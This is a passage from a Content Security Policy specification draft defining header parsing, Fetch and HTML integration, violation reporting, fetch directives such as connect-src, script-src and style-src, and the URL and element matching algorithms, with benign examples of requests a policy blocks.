A policy is generally enforced upon a global object, but the user agent needs to parse any policy delivered via an HTTP response header field before any global object is created in order to handle directives that require knowledge of a response’s details. To that end:

  1. A response has an associated CSP list which contains any policy objects delivered in the response’s header list.

  2. §4.1.1 Set response’s CSP list is called in the HTTP fetch and HTTP-network fetch algorithms.

    Note: These two calls should ensure that a response’s CSP list is set, regardless of how the response is created. If we hit the network (via HTTP-network fetch, then we parse the policy before we handle the Set-Cookie header. If we get a response from a Service Worker (via HTTP fetch, we’ll process its CSP list before handing the response back to our caller.

4.1.1. Set response’s CSP list

Given a response (response), this algorithm evaluates its header list for serialized CSP values, and populates its CSP list accordingly:

  1. Set response’s CSP list to the empty list.

  2. Let policies be the result of executing §2.1.2 Parse a serialized CSP list as disposition on the result of parsing Content-Security-Policy in response’s header list, with a disposition of "enforce".

  3. Append to policies the result of executing §2.1.2 Parse a serialized CSP list as disposition on the result of parsing Content-Security-Policy-Report-Only in response’s header list, with a disposition of "report".

  4. For each policy in policies:

    1. Insert policy into response’s CSP list.

4.1.2. Report Content Security Policy violations for request

Given a request (request), this algorithm reports violations based on client’s "report only" policies.

  1. Let CSP list be request’s client’s global object’s CSP list.

  2. For each policy in CSP list:

    1. If policy’s disposition is "enforce", then skip to the next policy.

    2. Let violates be the result of executing §6.1.11.1 Does request violate policy? on request and policy.

    3. If violates is not "Does Not Violate", then execute §5.3 Report a violation on the result of executing §2.3.2 Create a violation object for request, policy, and directive on request, policy, and violates.

4.1.3. Should request be blocked by Content Security Policy?

Given a request (request), this algorithm returns Blocked or Allowed and reports violations based on request’s client’s Content Security Policy.

  1. Let CSP list be request’s client’s global object’s CSP list.

  2. Let result be "Allowed".

  3. For each policy in CSP list:

    1. If policy’s disposition is "report", then skip to the next policy.

    2. Let violates be the result of executing §6.1.11.1 Does request violate policy? on request and policy.

    3. If violates is not "Does Not Violate", then:

      1. Execute §5.3 Report a violation on the result of executing §2.3.2 Create a violation object for request, policy, and directive on request, policy, and violates.

      2. Set result to "Blocked".

  4. Return result.

4.1.4. Should response to request be blocked by Content Security Policy?

Given a response (response) and a request (request), this algorithm returns Blocked or Allowed, and reports violations based on request’s client’s Content Security Policy.

  1. Let CSP list be request’s client’s global object’s CSP list.

  2. Let result be "Allowed".

  3. For each policy in CSP list:

    1. For each directive in policy:

      1. If the result of executing directive’s post-request check is "Blocked", then:

        1. Execute §5.3 Report a violation on the result of executing §2.3.2 Create a violation object for request, policy, and directive on request, policy, and directive.

        2. If policy’s disposition is "enforce", then set result to "Blocked".

    Note: This portion of the check verifies that the page can load the response. That is, that a Service Worker hasn’t substituted a file which would violated the page’s CSP.

  4. For each policy in response’s CSP list:

    1. For each directive in policy:

      1. If the result of executing directive’s response check on request, response, and policy is "Blocked", then:

        1. Execute §5.3 Report a violation on the result of executing §2.3.2 Create a violation object for request, policy, and directive on request, policy, and directive.

        2. If policy’s disposition is "enforce", then set result to "Blocked".

    Note: This portion of the check allows policies delivered with the response to determine whether the response is allowed to be delivered.

  5. Return result.

4.2. Integration with HTML

  1. The Document and WorkerGlobalScope objects have a CSP list, which holds all the policy objects which are active for a given context. This list is empty unless otherwise specified, and is populated via the §4.2.2 Initialize a global object’s CSP list algorithm.

  2. A policy is enforced or monitored for an global object by inserting it into the global object’s CSP list.

  3. §4.2.2 Initialize a global object’s CSP list is called during the initialising a new Document object and run a worker algorithms in order to bind a set of policy objects associated with a response to a newly created global object.

    The algorithm is named "creating a new Document object" in W3C’s HTML, and isn’t well-integrated with Fetch.

    Need to monkey-patch these in: something like "Set the Window object’s CSP list to the CSP list of the resource used to generate the document.

  4. §4.2.3 Should element’s inline type behavior be blocked by Content Security Policy? is called during the prepare a script and update a style block algorithms in order to determine whether or not an inline script or style block is allowed to execute/render.

    The update a style block algorithm does not exist in W3C’s HTML.

    The nonce attribute for script and style were added to WHATWG’s HTML in whatwg/html@882803c. They have not yet been added to W3C’s HTML.

    The §4.2.3 Should element’s inline type behavior be blocked by Content Security Policy? hooks were added to WHATWG’s HTML in whatwg/html@ee3486e. They aren’t yet in W3C’s HTML.

  5. §4.2.3 Should element’s inline type behavior be blocked by Content Security Policy? is called during handling of inline event handlers (like onclick) and inline style attributes in order to determine whether or not they ought to be allowed to execute/render.

    This hook is in-flight for WHATWG’s HTML. <https://github.com/WHATWG/html/issues/384>

  6. Policies are enforced during processing of the meta element’s http-equiv.

    This processing was added to WHATWG’s HTML in whatwg/html@5064a62. It has not yet been added to W3C’s HTML.

  7. A Document's embedding document is the Document through which the Document's browsing context is nested.

4.2.1. Initialize a Document's CSP list

Given a Document (document), and a response (response), the user agent performs the following steps in order to initialize document’s CSP list:

  1. If response’s url’s scheme is a local scheme:

    1. Let documents be an empty list.

    2. If document has an embedding document (embedding), then add embedding to documents.

    3. If document has an opener browsing context, then add its active document to documents.

    4. For each doc in documents:

      1. For each policy in doc’s CSP list:

        1. Insert an alias to policy in document’s CSP list.

    Note: local scheme includes about:, and this algorithm will therefore alias the embedding document’s policies for an iframe srcdoc Document.

    Note: We do all this to ensure that a page cannot bypass its policy by embedding a frame or popping up a new window containing content it controls (blob: resources, or document.write()).

  2. For each policy in response’s CSP list, insert policy into document’s CSP list.

  3. For each policy in document’s CSP list:

    1. For each directive in policy:

      1. Execute directive’s initialization algorithm on document and response.

4.2.2. Initialize a global object’s CSP list

Given a global object (global), and a response (response), the user agent performs the following steps in order to initialize global’s CSP list:

  1. If response’s url’s scheme is a local scheme:

    1. Let documents be an empty list.

    2. Add each of global’s documents to documents.

    3. For each document in documents:

      1. For each policy in document’s global object’s CSP list:

        1. Insert an alias to policy in global’s CSP list.

    Note: local scheme includes about:, and this algorithm will therefore alias the embedding document’s policies for an iframe srcdoc Document.

  2. For each policy in response’s CSP list, insert policy into global’s CSP list.

4.2.3. Should element’s inline type behavior be blocked by Content Security Policy?

Given an Element (element), and a string (type) this algorithm returns "Allowed" if the element is allowed to have inline definition of a particular type of behavior (script execution, style application, event handlers, etc.), and "Blocked" otherwise:

  1. Let result be "Allowed".

  2. For each policy in element’s Document's global object’s CSP list:

    1. For each directive in policy:

      1. If directive’s inline check returns "Allowed" when executed upon element and type, skip to the next directive.

      2. Otherwise, let violation be the result of executing §2.3.1 Create a violation object for global, policy, and directive on the incumbent settings object, policy, and "style-src" if type is "style" or "style-attribute", or "script-src" otherwise.

      3. Set violation’s resource to "inline".

      4. Execute §5.3 Report a violation on violation.

      5. If policy’s disposition is "enforce", then set result to "Blocked".

  3. Return result.

5. Reporting

When one or more of a policy’s directives is violated, a violation report may be generated and sent out to a reporting endpoint associated with the policy.

5.1. Violation DOM Events

[Constructor(DOMString type, optional SecurityPolicyViolationEventInit eventInitDict)]
interface SecurityPolicyViolationEvent : Event {
    readonly    attribute DOMString documentURI;
    readonly    attribute DOMString referrer;
    readonly    attribute DOMString blockedURI;
    readonly    attribute DOMString violatedDirective;
    readonly    attribute DOMString effectiveDirective;
    readonly    attribute DOMString originalPolicy;
    readonly    attribute DOMString sourceFile;
    readonly    attribute DOMString statusCode;
    readonly    attribute long      lineNumber;
    readonly    attribute long      columnNumber;
};

dictionary SecurityPolicyViolationEventInit : EventInit {
    DOMString documentURI;
    DOMString referrer;
    DOMString blockedURI;
    DOMString violatedDirective;
    DOMString effectiveDirective;
    DOMString originalPolicy;
    DOMString sourceFile;
    long      lineNumber;
    long      columnNumber;
};

5.2. Obtain the deprecated serialization of violation

Given a violation (violation), this algorithm returns a JSON text string representation of the violation, suitable for submission to a reporting endpoint associated with the deprecated report-uri directive.

  1. Let object be a new JavaScript object with properties initialized as follows:

    "document-uri"

    The result of executing the URL serializer on violation’s url, with the exclude fragment flag set.

    "referrer"

    The result of executing the URL serializer on violation’s referrer, with the exclude fragment flag set.

    "blocked-uri"

    The result of executing the URL serializer on violation’s resource, with the exclude fragment flag set.

    "effective-directive"

    violation’s effective directive

    "violated-directive"

    violation’s effective directive

    "original-policy"

    The serialization of violation’s policy

    "status-code"

    violation’s status

  2. If violation’s source file is not null:

    1. Set object’s "source-file" property to the result of executing the URL serializer on violation’s source file, with the exclude fragment flag set.

    2. Set object’s "line-number" property to violation’s line number.

    3. Set object’s "column-number" property to violation’s column number.

  3. Return the result of executing JSON.stringify() on object.

5.3. Report a violation

Given a violation (violation), this algorithm reports it to the endpoint specified in violation’s policy, and fires a SecurityPolicyViolationEvent at violation’s global object.

  1. Fire a trusted event with the name securitypolicyviolation that uses the SecurityPolicyViolationEvent interface, with its attributes initialized as follows:

    documentURI

    violation’s url

    referrer

    violation’s referrer

    blockedURI

    violation’s resource

    effectiveDirective

    violation’s effective directive

    violatedDirective

    violation’s effective directive

    originalPolicy

    violation’s policy

    sourceFile

    violation’s source file

    statusCode

    violation’s status

    lineNumber

    violation’s line number

    columnNumber

    violation’s column number

    Note: Both effectiveDirective and violatedDirective are the same value. This is intentional to maintain backwards compatibility.

  2. If violation’s policy’s directive set contains a directive named "report-uri" (directive):

    1. If violation’s policy’s directive set contains a directive named "report-to", skip the remaining substeps.

    2. Let endpoint be the result of executing the URL parser on directive’s value.

    3. If endpoint is not a valid URL, skip the remaining substeps.

    4. Let request be a new request, initialized as follows:

      method

      "POST"

      url

      violation’s url

      origin

      violation’s global object’s origin

      window

      "no-window"

      client

      violation’s global object’s relevant settings object

      destination

      ""

      initiator

      ""

      type

      ""

      cache mode

      "no-cache"

      credentials mode

      "same-origin"

      header list

      A header list containing a single header whose name is "Content-Type", and value is "application/csp-report"

      body

      The result of executing §5.2 Obtain the deprecated serialization of violation on violation

      redirect mode

      "error"

    5. Fetch request. The result will be ignored.

    Note: All of this should be considered deprecated. It sends a single request per violation, which simply isn’t scalable. As soon as this behavior can be removed from user agents, it will be.

    Note: report-uri only takes effect if report-to is not present. That' is, the latter overrides the former, allowing for backwards compatibility with browsers that don’t support the new mechanism.

  3. If violation’s policy’s directive set contains a directive named "report-to" (directive):

    1. Let group be directive’s value.

    2. Let settings object be violation’s global object’s relevant settings object.

    3. Execute [OOB-REPORTING]'s Queue data as type for endpoint group on settings algorithm with the following arguments:

      data

      violation

      type

      "CSP"

      endpoint group

      group

      settings

      settings object

6. Content Security Policy Directives

This specification defines a number of types of directives which allow developers to control certain aspects of their sites' behavior. This document defines directives which govern resource fetching (in §6.1 Fetch Directives) and directives which govern reporting (in §6.2 Reporting Directives). These form the core of Content Security Policy; other directives are defined in a modular fashion in ancillary documents (see §6.3 Directives Defined in Other Documents for examples).

To mitigate the risk of cross-site scripting attacks, web developers SHOULD include directives that regulate sources of script and plugins. They can do so by including:

In either case, developers SHOULD NOT include either 'unsafe-inline', or data: as valid sources in their policies. Both enable XSS attacks by allowing code to be included directly in the document itself; they are best avoided completely.

6.1. Fetch Directives

Fetch directives control the locations from which certain resource types may be loaded. For instance, script-src allows developers to whitelist trusted sources of script to execute on a page, while font-src controls the sources of web fonts.

6.1.1. child-src

The child-src directive governs the creation of nested browsing contexts (e.g. iframe and frame navigations) and Worker execution contexts. The syntax for the directive’s name and value is described by the following ABNF:

directive-name  = "child-src"
directive-value = serialized-source-list

This directive controls requests which will populate a frame or a worker. More formally, requests falling into one of the following categories:

Given a page with the following Content Security Policy:
Content-Security-Policy: child-src https://example.com/

Fetches for the following code will all return network errors, as the URLs provided do not match child-src's source list:

<iframe src="https://not-example.com"></iframe>
<script>
  var blockedWorker = new Worker("data:application/javascript,...");
</script>
6.1.1.1. Algorithms

This directive’s pre-request check is as follows:

Given a request (request):

TODO.

This directive’s post-request check is as follows:

TODO.

6.1.2. connect-src

The connect-src directive restricts the URLs which can be loaded using script interfaces. The syntax for the directive’s name and value is described by the following ABNF:

directive-name  = "connect-src"
directive-value = serialized-source-list

This directive controls requests which transmit or receive data from other origins. This includes APIs like fetch(), [XHR], [EVENTSOURCE], [BEACON], and a's ping. This directive also controls WebSocket [WEBSOCKETS] connections, though those aren’t technically part of Fetch.

JavaScript offers a few mechanisms that directly connect to an external server to send or receive information. EventSource maintains an open HTTP connection to a server in order to receive push notifications, WebSockets open a bidirectional communication channel between your browser and a server, and XMLHttpRequest makes arbitrary HTTP requests on your behalf. These are powerful APIs that enable useful functionality, but also provide tempting avenues for data exfiltration.

The connect-src directive allows you to ensure that these and similar sorts of connections are only opened to origins you trust. Sending a policy that defines a list of source expressions for this directive is straightforward. For example, to limit connections to only https://example.com, send the following header:

Content-Security-Policy: connect-src https://example.com/

Fetches for the following code will all return network errors, as the URLs provided do not match connect-src's source list:

<a ping="https://not-example.com">...
<script>
  var xhr = new XMLHttpRequest();
  xhr.open('GET', 'https://not-example.com/');
  xhr.send();

  var ws = new WebSocket("https://not-example.com/");
        
  var es = new EventSource("https://not-example.com/");

  navigator.sendBeacon("https://not-example.com/", { ... });
</script>
6.1.2.1. Algorithms

This directive’s pre-request check is as follows:

Given a request (request) and a policy (policy):

  1. If request’s initiator is "fetch", or its type is "" and destination is "subresource":

    1. If the result of executing §6.1.11.2 Does url match source list? on request’s url and this directive’s value is "Does Not Match", return "Blocked".

  2. Return "Allowed".

This directive’s post-request check is as follows:

Given a request (request), a response (response), and a policy (policy):

  1. If request’s initiator is "fetch", or its type is "" and destination is "subresource":

    1. If the result of executing §6.1.11.2 Does url match source list? on response’s url and this directive’s value is "Does Not Match", return "Blocked".

  2. Return "Allowed".

6.1.3. default-src

The default-src directive serves as a fallback for the other fetch directives. The syntax for the directive’s name and value is described by the following ABNF:

directive-name  = "default-src"
directive-value = serialized-source-list

If a default-src directive is present in a policy, its value will be used as the policy’s default source list. That is, given default-src 'none'; script-src 'self', script requests will use 'self' as the source list to match against. Other requests will use 'none'. This is spelled out in more detail in the §4.1.3 Should request be blocked by Content Security Policy? and §4.1.4 Should response to request be blocked by Content Security Policy? algorithms.

The following header:
Content-Security-Policy: default-src 'self'

will have the same behavior as the following header:

Content-Security-Policy: child-src 'self';
                         connect-src 'self';
                         font-src 'self';
                         img-src 'self';
                         media-src 'self';
                         object-src 'self';
                         script-src 'self';
                         style-src 'self'

That is, when default-src is set, every fetch directive that isn’t explicitly set will fall back to the value default-src specifies.

There is no inheritance. If a script-src directive is explicitly specified, for example, then the value of default-src has no influence on script requests. That is, the following header:
Content-Security-Policy: default-src 'self'; script-src https://example.com

will have the same behavior as the following header:

Content-Security-Policy: child-src 'self';
                         connect-src 'self';
                         font-src 'self';
                         img-src 'self';
                         media-src 'self';
                         object-src 'self';
                         script-src https://example.com;
                         style-src 'self'

Given this behavior, one good way to build a policy for a site would be to begin with a default-src of 'none', and to build up a policy from there which allowed only those resource types which are necessary for the particular page the policy will apply to.

6.1.3.1. Algorithms

This directive’s pre-request check is as follows:

Given a request (request) and a policy (policy):

  1. Let name be the result of executing §6.1.11.4 Get the effective directive for request on request.

  2. If name is null, return "Allowed".

  3. If policy contains a directive whose name is name, return "Allowed".

  4. If the result of executing §6.1.11.2 Does url match source list? on request’s url and this directive’s value is "Does Not Match", return "Blocked".

  5. Return "Allowed".

This directive’s post-request check is as follows:

Given a request (request), a response (response), and a policy (policy):

  1. Let name be the result of executing §6.1.11.4 Get the effective directive for request on request.

  2. If name is null, return "Allowed".

  3. If policy contains a directive whose name is name, return "Allowed".

  4. If the result of executing §6.1.11.2 Does url match source list? on response’s url and this directive’s value is "Does Not Match", return "Blocked".

  5. Return "Allowed".

6.1.4. font-src

The font-src directive restricts the URLs from which font resources may be loaded. The syntax for the directive’s name and value is described by the following ABNF:

directive-name  = "font-src"
directive-value = serialized-source-list
Given a page with the following Content Security Policy:
Content-Security-Policy: font-src https://example.com/

Fetches for the following code will return a network errors, as the URL provided do not match font-src's source list:

<style>
  @font-face {
    font-family: "Example Font";
    src: url("https://not-example.com/font");
  }
  body {
    font-family: "Example Font";
  }
</style>
6.1.4.1. Algorithms

This directive’s pre-request check is as follows:

Given a request (request) and a policy (policy):

  1. If request’s type is "font":

    1. If the result of executing §6.1.11.2 Does url match source list? on request’s url and this directive’s value is "Does Not Match", return "Blocked".

  2. Return "Allowed".

This directive’s post-request check is as follows:

Given a request (request), a response (response), and a policy (policy):

  1. If request’s type is "font":

    1. If the result of executing §6.1.11.2 Does url match source list? on response’s url and this directive’s value is "Does Not Match", return "Blocked".

  2. Return "Allowed".

6.1.5. img-src

The img-src directive restricts the URLs from which image resources may be loaded. The syntax for the directive’s name and value is described by the following ABNF:

directive-name  = "img-src"
directive-value = serialized-source-list

This directive controls requests which load images. More formally, this includes requests whose type is "image" [FETCH].

Given a page with the following Content Security Policy:
Content-Security-Policy: img-src https://example.com/

Fetches for the following code will return a network errors, as the URL provided do not match img-src's source list:

<img src="https://not-example.com/img">
6.1.5.1. Algorithms

This directive’s pre-request check is as follows:

Given a request (request) and a policy (policy):

  1. If request’s type is "image":

    1. If the result of executing §6.1.11.2 Does url match source list? on request’s url and this directive’s value is "Does Not Match", return "Blocked".

  2. Return "Allowed".

This directive’s post-request check is as follows:

Given a request (request), a response (response), and a policy (policy):

  1. If request’s type is "image":

    1. If the result of executing §6.1.11.2 Does url match source list? on response’s url and this directive’s value is "Does Not Match", return "Blocked".

  2. Return "Allowed".

6.1.6. manifest-src

The manifest-src directive restricts the URLs from which application manifests may be loaded [APPMANIFEST]. The syntax for the directive’s name and value is described by the following ABNF:

directive-name  = "manifest-src"
directive-value = serialized-source-list
Given a page with the following Content Security Policy:
Content-Security-Policy: manifest-src https://example.com/

Fetches for the following code will return a network errors, as the URL provided do not match manifest-src's source list:

<link rel="manifest" href="https://not-example.com/manifest">
6.1.6.1. Algorithms

This directive’s pre-request check is as follows:

Given a request (request) and a policy (policy):

  1. If request’s type is "", and its initiator is "manifest":

    1. If the result of executing §6.1.11.2 Does url match source list? on request’s url and this directive’s value is "Does Not Match", return "Blocked".

  2. Return "Allowed".

This directive’s post-request check is as follows:

Given a request (request), a response (response), and a policy (policy):

  1. If request’s type is "", and its initiator is "manifest":

    1. If the result of executing §6.1.11.2 Does url match source list? on response’s url and this directive’s value is "Does Not Match", return "Blocked".

  2. Return "Allowed".

6.1.7. media-src

The media-src directive restricts the URLs from which video, audio, and associated text track resources may be loaded. The syntax for the directive’s name and value is described by the following ABNF:

directive-name  = "media-src"
directive-value = serialized-source-list
Given a page with the following Content Security Policy:
Content-Security-Policy: media-src https://example.com/

Fetches for the following code will return a network errors, as the URL provided do not match media-src's source list:

<audio src="https://not-example.com/audio"></audio>
<video src="https://not-example.com/video">
    <track kind="subtitles" src="https://not-example.com/subtitles">
</video>
6.1.7.1. Algorithms

This directive’s pre-request check is as follows:

Given a request (request) and a policy (policy):

  1. If request’s type is one of "audio", "video", or "track":

    1. If the result of executing §6.1.11.2 Does url match source list? on request’s url and this directive’s value is "Does Not Match", return "Blocked".

  2. Return "Allowed".

This directive’s post-request check is as follows:

Given a request (request), a response (response), and a policy (policy):

  1. If request’s type is one of "audio", "video", or "track":

    1. If the result of executing §6.1.11.2 Does url match source list? on response’s url and this directive’s value is "Does Not Match", return "Blocked".

  2. Return "Allowed".

6.1.8. object-src

The object-src directive restricts the URLs from which plugin content may be loaded. The syntax for the directive’s name and value is described by the following ABNF:

directive-name  = "object-src"
directive-value = serialized-source-list
Given a page with the following Content Security Policy:
Content-Security-Policy: object-src https://example.com/

Fetches for the following code will return a network errors, as the URL provided do not match object-src's source list:

<embed src="https://not-example.com/flash"></embed>
<object data="https://not-example.com/flash"></object>
<applet archive="https://not-example.com/flash"></applet>

If plugin content is loaded without an associated URL (perhaps an object element lacks a data attribute, but loads some default plugin based on the specified type), it MUST be blocked if object-src's value is 'none', but will otherwise be allowed.

Note: The object-src directive acts upon any request made on behalf of an object, embed, or applet element. This includes requests which would populate the nested browsing context generated by the former two (also including navigations). This is true even when the data is semantically equivalent to content which would otherwise be restricted by another directive, such as an object element with a text/html MIME type.

6.1.8.1. Algorithms

This directive’s pre-request check is as follows:

Given a request (request) and a policy (policy):

  1. If request’s type is "", and its destination is "unknown":

    1. If the result of executing §6.1.11.2 Does url match source list? on request’s url and this directive’s value is "Does Not Match", return "Blocked".

  2. Return "Allowed".

This directive’s post-request check is as follows:

Given a request (request), a response (response), and a policy (policy):

  1. If request’s type is "", and its destination is "unknown":

    1. If the result of executing §6.1.11.2 Does url match source list? on response’s url and this directive’s value is "Does Not Match", return "Blocked".

  2. Return "Allowed".

6.1.9. script-src

The script-src directive restricts the locations from which scripts may be executed. This includes not only URLs loaded directly into script elements, but also things like inline script blocks and XSLT stylesheets [XSLT] which can trigger script execution. The syntax for the directive’s name and value is described by the following ABNF:

directive-name  = "script-src"
directive-value = serialized-source-list

The script-src directive governs four things:

  1. Script requests MUST pass through §4.1.3 Should request be blocked by Content Security Policy?.

  2. Script responses MUST pass through §4.1.4 Should response to request be blocked by Content Security Policy?.

  3. Inline script blocks MUST pass through §4.2.3 Should element’s inline type behavior be blocked by Content Security Policy?. Their behavior will be blocked unless every policy allows inline script, either implicitly by not specifying a script-src (or default-src) directive, or explicitly, by whitelisting "unsafe-inline", a nonce-source or a hash-source that matches the inline block.

  4. The following JavaScript execution sinks are gated on the "unsafe-eval" source expression:

    Note: If a user agent implements non-standard sinks like setImmediate() or execScript(), they SHOULD also be gated on "unsafe-eval".

6.1.9.1. Algorithms

This directive’s pre-request check is as follows:

Given a request (request) and a policy (policy):

  1. If request’s type is "script", and its destination is "subresource":

    1. If the result of executing §6.1.11.2 Does url match source list? on request’s url and this directive’s value is "Does Not Match", return "Blocked".

  2. Return "Allowed".

This directive’s post-request check is as follows:

Given a request (request), a response (response), and a policy (policy):

  1. If request’s type is "script", and its destination is "subresource":

    1. If the result of executing §6.1.11.2 Does url match source list? on response’s url and this directive’s value is "Does Not Match", return "Blocked".

  2. Return "Allowed".

This directive’s inline check algorithm is as follows:

Given an Element (element) and a string (type):

  1. If type is "script" or "script attribute":

    1. If the result of executing §6.1.12.1 Does element match source list? on element, this directive’s value, and type is "Does Not Match", return "Blocked".

  2. Return "Allowed".

This directive’s initialization algorithm is as follows:

Do something interesting to the execution context in order to lock down eval(), et al. I don’t think ECMA gives us any hooks here, so let’s work with them to put something reasonable together.

6.1.10. style-src

The style-src directive restricts the locations from which style may be applied to a Document. The syntax for the directive’s name and value is described by the following ABNF:

directive-name  = "style-src"
directive-value = serialized-source-list

The style-src directive governs several things:

  1. Style requests MUST pass through §4.1.3 Should request be blocked by Content Security Policy?. This includes:

    1. Stylesheet requests originating from a link element.

    2. Stylesheet requests originating from the @import rule.

    3. Stylesheet requests originating from a Link HTTP response header field [RFC5988].

  2. Responses to style requests MUST pass through §4.1.4 Should response to request be blocked by Content Security Policy?.

  3. Inline style blocks MUST pass through §4.2.3 Should element’s inline type behavior be blocked by Content Security Policy?. The styles will be blocked unless every policy allows inline style, either implicitly by not specifying a script-src (or default-src) directive, or explicitly, by whitelisting "unsafe-inline", a nonce-source or a hash-source that matches the inline block.

  4. The following CSS algorithms are gated on the unsafe-eval source expression:

    1. insert a CSS rule

    2. parse a CSS rule,

    3. parse a CSS declaration block

    4. parse a group of selectors

    This would include, for example, all invocations of CSSOM’s various cssText setters and insertRule methods [CSSOM] [HTML5].

    This needs to be better explained.

6.1.10.1. Algorithms

This directive’s pre-request check is as follows:

Given a request (request) and a policy (policy):

  1. If request’s type is "style":

    1. If the result of executing §6.1.11.2 Does url match source list? on request’s url and this directive’s value is "Does Not Match", return "Blocked".

  2. Return "Allowed".

This directive’s post-request check is as follows:

Given a request (request), a response (response), and a policy (policy):

  1. If request’s type is "style":

    1. If the result of executing §6.1.11.2 Does url match source list? on response’s url and this directive’s value is "Does Not Match", return "Blocked".

  2. Return "Allowed".

This directive’s inline check algorithm is as follows:

Given an Element (element) and a string (type):

  1. If type is "style" or "style attribute":

    1. If the result of executing §6.1.12.1 Does element match source list? on element, this directive’s value, and type is "Does Not Match", return "Blocked".

  2. Return "Allowed".

This directive’s initialization algorithm is as follows:

Do something interesting to the execution context in order to lock down interesting CSSOM algorithms. I don’t think CSSOM gives us any hooks here, so let’s work with them to put something reasonable together.

6.1.11. URL Matching Algorithms

6.1.11.1. Does request violate policy?

Given a request (request) and a policy (policy), this algorithm returns the violated directive if the request violates the policy, and "Does Not Violate" otherwise.

  1. Let violates be "Does Not Violate".

  2. For each directive in policy:

    1. Let result be the result of executing directive’s pre-request check on request and policy.

    2. If result is "Blocked", then let violates be directive.

  3. Return violates.

6.1.11.2. Does url match source list?

Given a URL (url), and a source list (source list), this algorithm returns "Matches" if the URL matches one or more source expressions in source list, or "Does Not Match" otherwise:

  1. If source list is null, return "Matches".

  2. If source list contains a single item which is a case-sensitive match for the string "'none'", return "Does Not Match".

  3. For each expression in source list:

    1. If §6.1.11.3 Does url match expression in origin with redirect count? returns "Matches" when executed upon url and expression, return "Matches".

  4. Return "Does Not Match".

6.1.11.3. Does url match expression in origin with redirect count?

Given a URL (url), a source expression (expression), an origin (origin), and a number (redirect count), this algorithm returns "Matches" if url matches expression, and "Does Not Match" otherwise.

Note: origin is the origin of the resource relative to which the expression should be resolved. "'self'", for instance, will have distinct meaning depending on that bit of context.

  1. If expression is the string "*", and url’s scheme is not a local scheme, return "Matches".

  2. If expression matches the scheme-source or host-source grammar:

    1. If expression has a scheme-part that is not an ASCII case-insensitive match for url’s scheme, then return "Does Not Match" unless one of the following conditions is met:

      1. expression’s scheme-part is an ASCII case-insensitive match for "http" and url’s scheme is "https"

      2. expression’s scheme-part is an ASCII case-insensitive match for "ws" and url’s scheme is "wss"

    2. If expression matches the scheme-source grammar, return "Matches".

    Note: This logic effectively means that script-src http: is equivalent to script-src http: https:, and script-src http://example.com/ is equivalent to script-src http://example.com https://example.com. In short, we always allow a secure upgrade from an explicitly insecure expression.

  3. If expression matches the host-source grammar:

    1. If url’s host is null, return "Does Not Match".

    2. If expression does not have a scheme-part, then return "Does Not Match" unless one of the following conditions is met:

      1. origin’s scheme is url’s scheme

      2. origin’s scheme is "http", and url’s scheme one of "https", "ws", or "wss".

      3. origin’s scheme is "https", and url’s scheme is "wss".

      Note: As with scheme-part above, we allow schemeless host-source expressions to be upgraded from insecure schemes to secure schemes.

    3. If the first character of expression’s host-part is an U+002A ASTERISK character (*):

      1. Let remaining be the result of removing the leading "*" from expression.

      2. If remaining (including the leading U+002E FULL STOP character (.)) is not an ASCII case-insensitive match for the rightmost characters of url’s host, then return "Does Not Match".

    4. If the first character of expression’s host-part is not an U+002A ASTERISK character (*), and url’s host is not an ASCII case-insensitive match for expression’s host-part, return "Does Not Match".

    5. If expression’s host-part matches the IPv4address rule from [RFC3986], and is not "127.0.0.1"; or if expression’s host-part is an IPv6 address, return "Does Not Match".

      Note: A future version of this specification may allow literal IPv6 and IPv4 addresses, depending on usage and demand. Given the weak security properties of IP addresses in relation to named hosts, however, authors are encouraged to prefer the latter whenever possible.

    6. If expression does not contain a port-part, and url’s port is not the default port for url’s scheme, return "Does Not Match".

    7. If expression does contain a port-part:

      1. If expression’s port-part is not "*", and is not the same number as url’s port, return "Does Not Match".

    8. If expression contains a non-empty path-part, and redirect count is 0, then:

      1. Let exact match be false if the final character of expression’s path-part is the U+002F SOLIDUS character (/), and true otherwise.

      2. Let path list be the result of strictly splitting expression’s path-part on the U+002F SOLIDUS character (/).

      3. If path list has more items than url’s path, return "Does Not Match".

      4. If exact match is true, and path list does not have the same number of items as url’s path, return "Does Not Match".

      5. For each expression piece in path list:

        1. Let url piece be the next item in url’s path.

        2. Percent decode expression piece.

        3. Percent decode url piece.

        4. If expression piece is not an ASCII case-insensitive match for url piece, return "Does Not Match".

    9. Return "Matches".

  4. If expression is an ASCII case-insensitive match for "'self'", return "Matches" if one or more of the following conditions is met:

    1. origin is the same as url’s origin

    2. origin’s host is the same as url’s host, origin’s port and url’s {{URL/port} are either the same or the default ports for their respective schemes, and one or more of the following conditions is met:

      1. url’s scheme is "https" or "wss"

      2. origin’s scheme is "http"

    Note: Like the scheme-part logic above, the "'self'" matching algorithm allows upgrades to secure schemes when it is safe to do so. We limit these upgrades to endpoints running on the default port for a particular scheme or a port that matches the origin of the protected resource, as this seems sufficient to deal with upgrades that can be reasonably expected to succeed.

  5. Return "Does Not Match".

6.1.11.4. Get the effective directive for request

Each fetch directive controls a specific type of request. Given a request (request), the following algorithm returns either null or the name of the request’s effective directive:

  1. Switch on request’s type, and execute the associated steps:

    ""

    1. If the request’s initiator is "fetch", return connect-src.

    2. If the request’s initiator is "manifest", return manifest-src.

    3. If the request’s destination is "subresource", return connect-src.

    4. If the request’s destination is "unknown", return object-src.

    5. If the request’s destination is "document" and the request’s target browsing context is a nested browsing context, return child-src.

    "audio"

    "track"

    "video"

    1. Return media-src.

    "font"

    1. Return font-src.

    "image"

    1. Return image-src.

    "style"

    1. Return style-src.

    "script"

    1. Switch on request’s destination, and execute the associated steps:

      "subresource"

      1. Return script-src.

      "serviceworker"

      "sharedworker"

      "worker"

      1. Return child-src.

  2. Return null.

6.1.12. Element Matching Algorithms

6.1.12.1. Does element match source list?

Given an Element (element), a source list (list), and a string (type), this algorithm returns "Matches" or "Does Not Match".

  1. Let contains nonce or hash be false.

  2. For each expression in list:

    1. If expression matches the nonce-source or hash-source grammar, set contains nonce or hash to true.

  3. If contains nonce or hash is false, and list contains a source expression which is a case-sensitive match for the string "unsafe-inline", then return "Matches".

  4. If type is not "script attribute" or "style attribute":

    1. Let content be the script block’s source if element is a script element, or the value of element’s textContent IDL attribute for any other element.

    2. For each expression in list:

      1. If expression matches the nonce-source grammar, and element has a nonce attribute whose value is a case-sensitive match for expression’s base64-value part, return "Matches".

      2. If expression matches the hash-source grammar:

        1. Let algorithm be null.

        2. If expression’s hash-algorithm part is an ASCII case-insensitive match for "sha256", set algorithm to SHA-256.

        3. If expression’s hash-algorithm part is an ASCII case-insensitive match for "sha384", set algorithm to SHA-384.

        4. If expression’s hash-algorithm part is an ASCII case-insensitive match for "sha512", set algorithm to SHA-512.

